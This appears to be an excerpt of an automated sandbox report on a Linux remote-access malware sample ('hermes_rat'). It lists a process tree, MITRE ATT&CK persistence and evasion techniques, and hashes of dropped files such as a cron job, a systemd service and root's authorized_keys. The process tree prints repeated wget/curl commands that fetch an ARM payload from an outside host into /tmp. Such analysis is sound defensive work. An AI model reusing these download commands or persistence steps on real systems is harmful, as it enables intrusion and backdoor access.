/usr/bin/wgetwget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.arm -O /tmp/hermes_rat2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1036
-
-
/bin/sleepsleep 22⤵PID:1037
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.arm -o /tmp/hermes_rat2⤵
- Checks CPU configuration
- System Network Configuration Discovery
PID:1038
-
-
/usr/bin/wgetwget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.arm -O /tmp/hermes_rat2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1040
-
-
/bin/sleepsleep 22⤵PID:1041
-
-
/bin/rmrm -f /tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc2⤵PID:1045
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Account Manipulation
1SSH Authorized Keys
1Boot or Logon Autostart Execution
2XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Account Manipulation
1SSH Authorized Keys
1Boot or Logon Autostart Execution
2XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Impair Defenses
2Disable or Modify Tools
2Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/cron.d/hermes_sync
- Size 228B
- SHA256 7692ea1ef81992bd72989d90c5a87842260baa459097efaaa95fadeacdc7e675
- MD5 a60df9d8f6050cd63922b3b1f322c832
- SHA1 ce16e42cb170dfb0034d422d538a17734bae5b55
- SHA512 577466643ed076b631b81b1e8fb25ec67aba772400589a1bb18afd0d3ab28a020bd41dd8dd66919f0d13598f5f23d4dd08d706b92373eb96aa7b49de71e8a703
- TLSH T12AD023B31071F1B34711D3B4265515BCD57583D51DD06670459D50C3521C373213BC04
- MD5 SHA1 SHA512 TLSH
- Path /etc/systemd/system/hermes-core.service
- Size 250B
- SHA256 9a5c4896231e81ce1e77cf59e20ea13bfab291444a7c14035a14223226905ddc
- MD5 10ffc253ff9c1bad62f7b7e7d389e789
- SHA1 20f0ab47ab3eb970d12e0bf46507a4e6ddbf980d
- SHA512 4758bdb7ee1959bd5f043ddff8d43abdb67a44470236750aa92568793d2952ba7c2d803c1ae5ebdf7932a5b98e491d180bf7dd5544d854c9b7b482ef2869b71e
- TLSH T107D09523A61170E2CE1B23F15E536754CD31474089CEB3308D8061C701F1590203F855
- MD5 SHA1 SHA512 TLSH
- Path /root/.ssh/authorized_keys
- Size 102B
- SHA256 5fb6d48ab593a3efac1671c4fdf23aaf6b36032015fce468a050b7bfb83babe0
- MD5 220d8b6b6bb1a289ab33da4e00be7ac2
- SHA1 742503adf9c6d13dd9cfef09dfd7fd4cb8ed42b8
- SHA512 64f95a608f6a3c6155adee2e84d1a22976f3558d99d1a8bea534f5c598d551c5473384b3010720a06b179377e76c7bbaef62f7b38d4ae3fc40c81484aba18dca
- TLSH T1D2B012B04C44F796651D48C5410C193C6E513960BAC75086981410503EDE5CE189E46E
- MD5 SHA1 SHA512 TLSH
- Path /tmp/sh-thd.kSjDTR
- Size 1KB
- SHA256 4a2e7085d2f90e0cc6cec59929a2d966af0bdee667223f879ea24edf4a18f78e
- MD5 dda3e55bc973ea5a9d0c7786e863fccd
- SHA1 391ef9d0c220344d40beec0e2b353a710244f4ec
- SHA512 e8e0436757170c7532c68125abc63a9953bfbed93602b714176a4e9bafaa2f34f642508bb1d6a4b1321e653cdaa5eeba4c09a224bfeed42787a84d29a5056675
- TLSH T1E121A332A240B331076D8E1101B1FD7E97AA28E1CA33A400F1EE99D16F76C38ED158C6
- MD5 SHA1 SHA512 TLSH